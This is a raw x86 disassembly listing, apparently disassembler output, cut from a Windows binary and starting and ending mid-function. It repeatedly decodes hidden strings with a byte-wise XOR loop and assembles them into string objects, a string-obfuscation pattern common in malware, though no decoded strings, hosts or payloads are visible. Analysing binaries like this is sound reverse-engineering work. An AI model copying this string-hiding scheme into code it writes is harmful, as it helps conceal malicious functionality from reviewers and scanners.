cmp dword [ebp - 0x524], 0x10
mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0x538]
mov dword [ebp - 0x1c], eax
mov esi, edi
mov eax, dword [ebp - 0x24]
lea edx, [esi + 1]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x3c]
lea ecx, [eax + ecx*8]
mov dword [ebp - 0x20], ecx
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x4271b0
mov eax, closesocket
sub esi, edx
sub eax, dword [ecx + 0x10]
cmp eax, esi
jb 0x4296ac
call fcn.00402af0
mov ecx, dword [ebp - 0x20]
push esi
push edi
push dword [ecx + 0x10]
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x844]
call fcn.00487550
mov dword [ebp - 4], 0x2c
lea edi, [ebp - 0x844]
mov eax, dword [ebp - 0x14]
or eax, 0x400
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0xce], 0xb7
movq qword [ebp - 0xcd], xmm0
mov byte [ebp - 0xc5], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xce], al
inc ecx
cmp ecx, 1
jb 0x427220
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xce]
mov byte [ebp - 0xcd], 0
movups xmmword [ebp - 0x3d8], xmm0
mov dword [ebp - 0x3c8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427265
sub ecx, edx
lea eax, [ebp - 0xce]
push ecx
push eax
lea ecx, [ebp - 0x3d8]
call fcn.00402b20
mov dword [ebp - 4], 0x2d
lea edx, [ebp - 0x3d8]
cmp dword [ebp - 0x3c4], 0x10
cmovae edx, dword [ebp - 0x3d8]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4272a1
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x4296ac
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x650]
call fcn.00487550
sub esp, 0x18
mov byte [ebp - 4], 0x2e
mov ecx, esp
lea eax, [ebp - 0x650]
mov dword [ebp - 0x20], ecx
push edi
push eax
push dword [ebp - 0x20]
call fcn.00487360
call fcn.0040c4c0
mov byte [ebp - 4], 0x2d
add esp, 0x18
mov ecx, dword [ebp - 0x63c]
mov byte [ebp - 0x15], al
cmp ecx, 0x10
jb 0x42733f
mov edx, dword [ebp - 0x650]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427335
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x3c4]
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], 0xf
mov byte [ebp - 0x650], 0
cmp ecx, 0x10
jb 0x427398
mov edx, dword [ebp - 0x3d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42738e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c4], 0xf
mov byte [ebp - 0x3d8], 0
test eax, 0x400
je 0x4273d6
and eax, 0xfffffbff
lea ecx, [ebp - 0x844]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
test eax, 0x200
je 0x4273f6
and eax, 0xfffffdff
lea ecx, [ebp - 0x538]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
test eax, 0x100
je 0x427416
and eax, 0xfffffeff
lea ecx, [ebp - 0x700]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1b
test al, al
jns 0x427437
and eax, 0xffffff7f
lea ecx, [ebp - 0x550]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
cmp byte [ebp - 0x15], 0
je 0x4274b8
movaps xmm0, xmmword [0x543b20]
xor ecx, ecx
mov dword [ebp - 0x21c], 0x8f8e83a7
mov dword [ebp - 0x218], 0x9783a083
movups xmmword [ebp - 0x214], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x21c], al
inc ecx
cmp ecx, 0xf
jb 0x427461
lea eax, [ebp - 0x21c]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x85c]
mov byte [ebp - 0x20d], 0
call fcn.00402a50
lea ecx, [ebp - 0x85c]
mov byte [ebp - 4], 0x2f
call fcn.00402af0
push eax
lea ecx, [ebx + 0x54]
call fcn.0047f8c0
lea ecx, [ebp - 0x85c]
mov byte [ebp - 4], 0x1b
call fcn.004029b0
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x4274fa
movups xmmword [ebp - 0x468], xmm0
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
mov byte [ebp - 4], 0x30
lea edi, [ebp - 0x468]
mov eax, dword [ebp - 0x14]
or eax, 0x800
jmp 0x4275fd
mov byte [ebp - 0xd8], 0xb7
xor ecx, ecx
movq qword [ebp - 0xd7], xmm0
mov byte [ebp - 0xcf], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xd8], al
inc ecx
cmp ecx, 1
jb 0x427512
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xd8]
mov byte [ebp - 0xd7], 0
movups xmmword [ebp - 0x408], xmm0
mov dword [ebp - 0x3f8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3f4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427557
sub ecx, edx
lea eax, [ebp - 0xd8]
push ecx
push eax
lea ecx, [ebp - 0x408]
call fcn.00402b20
mov dword [ebp - 4], 0x31
lea esi, [ebp - 0x408]
mov eax, dword [ebp - 0x14]
or eax, 0x1000
cmp dword [ebp - 0x3f4], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x408]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4275b4
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x4296ac
cmp dword [edx + 0x14], 0x10
jb 0x4275d5
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x698]
call fcn.00487550
mov dword [ebp - 4], 0x32
lea edi, [ebp - 0x698]
mov eax, dword [ebp - 0x14]
or eax, 0x2000
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0xe2], 0xb7
movq qword [ebp - 0xe1], xmm0
mov byte [ebp - 0xd9], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xe2], al
inc ecx
cmp ecx, 1
jb 0x427620
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xe2]
mov byte [ebp - 0xe1], 0
movups xmmword [ebp - 0x3f0], xmm0
mov dword [ebp - 0x3e0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3dc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427665
sub ecx, edx
lea eax, [ebp - 0xe2]
push ecx
push eax
lea ecx, [ebp - 0x3f0]
call fcn.00402b20
mov dword [ebp - 4], 0x33
lea edx, [ebp - 0x3f0]
cmp dword [ebp - 0x3dc], 0x10
cmovae edx, dword [ebp - 0x3f0]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4276a1
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x4296ac
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x680]
call fcn.00487550
push edi
lea eax, [ebp - 0x680]
mov byte [ebp - 4], 0x34
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x668]
call fcn.00487360
sub esp, 0x18
mov byte [ebp - 4], 0x35
mov esi, esp
lea eax, [ebx + 0x54]
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x20], esi
push eax
call fcn.0047f840
xorps xmm0, xmm0
lea ecx, [ebp - 0x580]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040be30
add esp, 0x18
mov byte [ebp - 4], 0x37
mov ecx, dword [ebp - 0x654]
cmp ecx, 0x10
jb 0x427790
mov edx, dword [ebp - 0x668]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427786
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x658], 0
mov dword [ebp - 0x654], 0xf
mov byte [ebp - 0x668], 0
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x66c]
cmp ecx, 0x10
jb 0x4277e9
mov edx, dword [ebp - 0x680]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4277df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x670], 0
mov dword [ebp - 0x66c], 0xf
mov byte [ebp - 0x680], 0
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x3dc]
cmp ecx, 0x10
jb 0x427842
mov edx, dword [ebp - 0x3f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427838
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x3e0], 0
mov dword [ebp - 0x3dc], 0xf
mov byte [ebp - 0x3f0], 0
mov byte [ebp - 4], 0x3a
mov eax, dword [ebp - 0x14]
test eax, 0x2000
je 0x4278ce
mov ecx, dword [ebp - 0x684]
and eax, 0xffffdfff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x4278b3
mov edx, dword [ebp - 0x698]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4278a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x688], 0
mov dword [ebp - 0x684], 0xf
mov byte [ebp - 0x698], 0
mov byte [ebp - 4], 0x3b
test eax, 0x1000
je 0x42793c
mov ecx, dword [ebp - 0x3f4]
and eax, 0xffffefff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x427921
mov edx, dword [ebp - 0x408]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427914
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x3f8], 0
mov dword [ebp - 0x3f4], 0xf
mov byte [ebp - 0x408], 0
mov byte [ebp - 4], 0x3c
test eax, 0x800
je 0x4279a7
mov ecx, dword [ebp - 0x454]
and eax, 0xfffff7ff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42798c
mov edx, dword [ebp - 0x468]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427982
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
xorps xmm0, xmm0
mov dword [ebp - 0x184], 0xf
xor eax, eax
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x188], eax
mov byte [ebp - 0x198], al
mov byte [ebp - 4], 0x3d
cmp dword [ebp - 0x570], eax
je 0x427d73
cmp dword [ebp - 0x310], eax
jne 0x427d73
sub esp, 0x28
lea edx, [ebp - 0x580]
mov eax, esp
lea ecx, [ebp - 0x5d8]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00483da0
add esp, 0x30
mov byte [ebp - 4], 0x3e
xor ecx, ecx
movaps xmm0, xmmword [0x543420]
mov byte [ebp - 0x4ba], 0x84
movups xmmword [ebp - 0x4b9], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4ba], al
inc ecx
cmp ecx, 8
jb 0x427a24
mov dword [0x5585d4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4ba]
mov byte [ebp - 0x4b2], 0
movups xmmword [ebp - 0x568], xmm0
mov dword [ebp - 0x558], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x554], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427a70
sub ecx, edx
lea eax, [ebp - 0x4ba]
push ecx
push eax
lea ecx, [ebp - 0x568]
call fcn.00402b20
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x568]
mov edi, dword [ebp - 0x14]
lea ecx, [ebp - 0x5d8]
or edi, 0x4000
cmp dword [ebp - 0x554], 0x10
mov dword [ebp - 0x14], edi
cmovae eax, dword [ebp - 0x568]
push eax
mov dword [ebp - 0x1c], edi
call fcn.00483b70
cmp byte [eax], 0
je 0x427bbf
movaps xmm0, xmmword [0x543420]
xor ecx, ecx
mov byte [ebp - 0x50e], 0x84
movups xmmword [ebp - 0x50d], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x50e], al
inc ecx
cmp ecx, 8
jb 0x427ae0
lea eax, [ebp - 0x50e]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x88c]
mov byte [ebp - 0x506], 0
call fcn.00402a50
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x88c]
or edi, 0x8000
mov dword [ebp - 0x1c], edi
call fcn.00402af0
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00483b70
movaps xmm0, xmmword [0x543780]
mov esi, eax
mov dword [ebp - 0x362], 0x9c8e828e
xor ecx, ecx
mov word [ebp - 0x35e], 0x8096
movups xmmword [ebp - 0x35c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x362], al
inc ecx
cmp ecx, 0xd
jb 0x427b60
lea eax, [ebp - 0x362]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x874]
mov byte [ebp - 0x355], 0
call fcn.00402a50
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x874]
or edi, 0x10000
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00483b70
mov byte [ebp - 0x15], 1
cmp byte [eax], 0
jne 0x427bc3
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test eax, 0x10000
je 0x427be6
and eax, 0xfffeffff
lea ecx, [ebp - 0x874]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
test eax, 0x8000
je 0x427c06
and eax, 0xffff7fff
lea ecx, [ebp - 0x88c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x3e
test eax, 0x4000
je 0x427c2a
and eax, 0xffffbfff
lea ecx, [ebp - 0x568]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
cmp byte [ebp - 0x15], 0
je 0x427d5e
movaps xmm0, xmmword [0x543420]
xor ecx, ecx
mov byte [ebp - 0x51f], 0x84
movups xmmword [ebp - 0x51e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x51f], al
inc ecx
cmp ecx, 8
jb 0x427c50
lea eax, [ebp - 0x51f]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x8bc]
mov byte [ebp - 0x517], 0
call fcn.00402a50
lea ecx, [ebp - 0x8bc]
mov byte [ebp - 4], 0x42
call fcn.00402af0
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00483b70
movaps xmm0, xmmword [0x543780]
mov esi, eax
mov dword [ebp - 0x378], 0x9c8e828e
xor ecx, ecx
mov word [ebp - 0x374], 0x8096
movups xmmword [ebp - 0x372], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x378], al
inc ecx
cmp ecx, 0xd
jb 0x427cc0
lea eax, [ebp - 0x378]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x8a4]
mov byte [ebp - 0x36b], 0
call fcn.00402a50
lea ecx, [ebp - 0x8a4]
mov byte [ebp - 4], 0x43
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00483b70
lea ecx, [ebp - 0x994]
push ecx
mov ecx, eax
call fcn.00483cb0
mov edx, eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x97c]
call fcn.00402890
push eax
lea ecx, [ebp - 0x198]
call fcn.0047f920
lea ecx, [ebp - 0x97c]
call fcn.004029b0
lea ecx, [ebp - 0x994]
call fcn.004029b0
lea ecx, [ebp - 0x8a4]
call fcn.004029b0
lea ecx, [ebp - 0x8bc]
call fcn.004029b0
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0x3d
call fcn.0047d5c0
mov eax, dword [ebp - 0x188]
test eax, eax
jne 0x427da5
cmp dword [ebp - 0x30c], 0x10
lea eax, [ebp - 0x320]
push dword [ebp - 0x310]
cmovae eax, dword [ebp - 0x320]
lea ecx, [ebp - 0x198]
push eax
call fcn.0047f6a0
mov eax, dword [ebp - 0x188]
test eax, eax
setne byte [ebp - 0x29]
xorps xmm0, xmm0
cmp byte [ebx + 8], 0
je 0x427deb
movups xmmword [ebp - 0x480], xmm0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0xf
mov byte [ebp - 0x480], 0
mov byte [ebp - 4], 0x45
lea edi, [ebp - 0x480]
mov eax, dword [ebp - 0x14]
or eax, 0x20000
jmp 0x427eee
mov byte [ebp - 0xec], 0xb7
xor ecx, ecx
movq qword [ebp - 0xeb], xmm0
mov byte [ebp - 0xe3], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xec], al
inc ecx
cmp ecx, 1
jb 0x427e03
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xec]
mov byte [ebp - 0xeb], 0
movups xmmword [ebp - 0x234], xmm0
mov dword [ebp - 0x224], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x220], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427e48
sub ecx, edx
lea eax, [ebp - 0xec]
push ecx
push eax
lea ecx, [ebp - 0x234]
call fcn.00402b20
mov dword [ebp - 4], 0x46
lea esi, [ebp - 0x234]
mov eax, dword [ebp - 0x14]
or eax, 0x40000
cmp dword [ebp - 0x220], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x234]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427ea5
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x4296ac
cmp dword [edx + 0x14], 0x10
jb 0x427ec6
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5f0]
call fcn.00487550
mov dword [ebp - 4], 0x47
lea edi, [ebp - 0x5f0]
mov eax, dword [ebp - 0x14]
or eax, 0x80000
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0xf6], 0xb7
movq qword [ebp - 0xf5], xmm0
mov byte [ebp - 0xed], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xf6], al
inc ecx
cmp ecx, 1
jb 0x427f10
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xf6]
mov byte [ebp - 0xf5], 0
movups xmmword [ebp - 0x420], xmm0
mov dword [ebp - 0x410], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x40c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427f55
sub ecx, edx
lea eax, [ebp - 0xf6]
push ecx
push eax
lea ecx, [ebp - 0x420]
call fcn.00402b20
mov dword [ebp - 4], 0x48
lea esi, [ebp - 0x420]
cmp dword [ebp - 0x40c], 0x10
cmovae esi, dword [ebp - 0x420]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427f91
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x50]
sub eax, edx
cmp eax, ecx
jb 0x4296ac
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6b0]
call fcn.00487550
push edi
lea eax, [ebp - 0x6b0]
mov byte [ebp - 4], 0x49
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1d4]
call fcn.00487360
mov eax, dword [ebp - 0x14]
or eax, 0x80000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebx + 0x3c]
cmp dword [ebx + 0x50], 0x10
mov esi, dword [ebp - 0x1c0]
mov eax, esi
cmovae ecx, dword [ebx + 0x3c]
mov edi, dword [ebx + 0x4c]
mov edx, dword [ebp - 0x1c4]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x42804b
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x1c4], eax
lea eax, [ebp - 0x1d4]
cmovae eax, dword [ebp - 0x1d4]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x1d4]
jmp 0x42805e
mov byte [ebp - 0x44], 0
lea ecx, [ebp - 0x1d4]
push dword [ebp - 0x44]
push edi
call fcn.004859b0
mov dword [ebp - 0x1dc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1ec], xmm0
mov dword [ebp - 0x1d8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1ec], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1dc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
or eax, 0x40000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0x1c0]
cmp ecx, 0x10
jb 0x4280f0
mov edx, dword [ebp - 0x1d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4280e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1c0], 0xf
mov byte [ebp - 0x1d4], 0
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x69c]
cmp ecx, 0x10
jb 0x428149
mov edx, dword [ebp - 0x6b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42813f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x6a0], 0
mov dword [ebp - 0x69c], 0xf
mov byte [ebp - 0x6b0], 0
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x40c]
cmp ecx, 0x10
jb 0x4281a2
mov edx, dword [ebp - 0x420]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428198
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 0xf
mov byte [ebp - 0x420], 0
mov byte [ebp - 4], 0x4f
mov eax, dword [ebp - 0x14]
test eax, 0x80000
je 0x42822e
mov ecx, dword [ebp - 0x5dc]
and eax, 0xfff7ffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x428213
mov edx, dword [ebp - 0x5f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428206
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x5e0], 0
mov dword [ebp - 0x5dc], 0xf
mov byte [ebp - 0x5f0], 0
mov byte [ebp - 4], 0x50
test eax, 0x40000
je 0x42829c
mov ecx, dword [ebp - 0x220]
and eax, 0xfffbffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x428281
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428274
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
mov byte [ebp - 4], 0x51
test eax, 0x20000
je 0x428307
mov ecx, dword [ebp - 0x46c]
and eax, 0xfffdffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x4282ec
mov edx, dword [ebp - 0x480]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4282e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0xf
mov byte [ebp - 0x480], 0
cmp dword [ebp - 0x1d8], 0x10
lea ecx, [ebp - 0x1ec]
lea edx, [ebp - 0x40]
cmovae ecx, dword [ebp - 0x1ec]
call fcn.00417ba0
test eax, eax
jne 0x429367
movaps xmm0, xmmword [0x545000]
xor ecx, ecx
movups xmmword [ebp - 0x752], xmm0
mov word [ebp - 0x712], 0x6164
movaps xmm0, xmmword [0x544f40]
movups xmmword [ebp - 0x742], xmm0
movaps xmm0, xmmword [0x544bf0]
movups xmmword [ebp - 0x732], xmm0
movaps xmm0, xmmword [0x544e30]
movups xmmword [ebp - 0x722], xmm0
movaps xmm0, xmmword [str._rB_WX_]
movups xmmword [ebp - 0x710], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x752], al
inc ecx
cmp ecx, 0x49
jb 0x428380
mov dword [0x558530], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x752]
mov byte [ebp - 0x709], 0
movups xmmword [ebp - 0x438], xmm0
mov dword [ebp - 0x428], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x424], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4283c5
sub ecx, edx
lea eax, [ebp - 0x752]
push ecx
push eax
lea ecx, [ebp - 0x438]
call fcn.00402b20
mov edx, dword [ebp - 0x424]
lea esi, [ebp - 0x438]
mov ecx, dword [ebp - 0x438]
cmp edx, 0x10
setae al
cmovae esi, ecx
test al, al
je 0x428429
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42841f
mov ecx, dword [eax - 4]
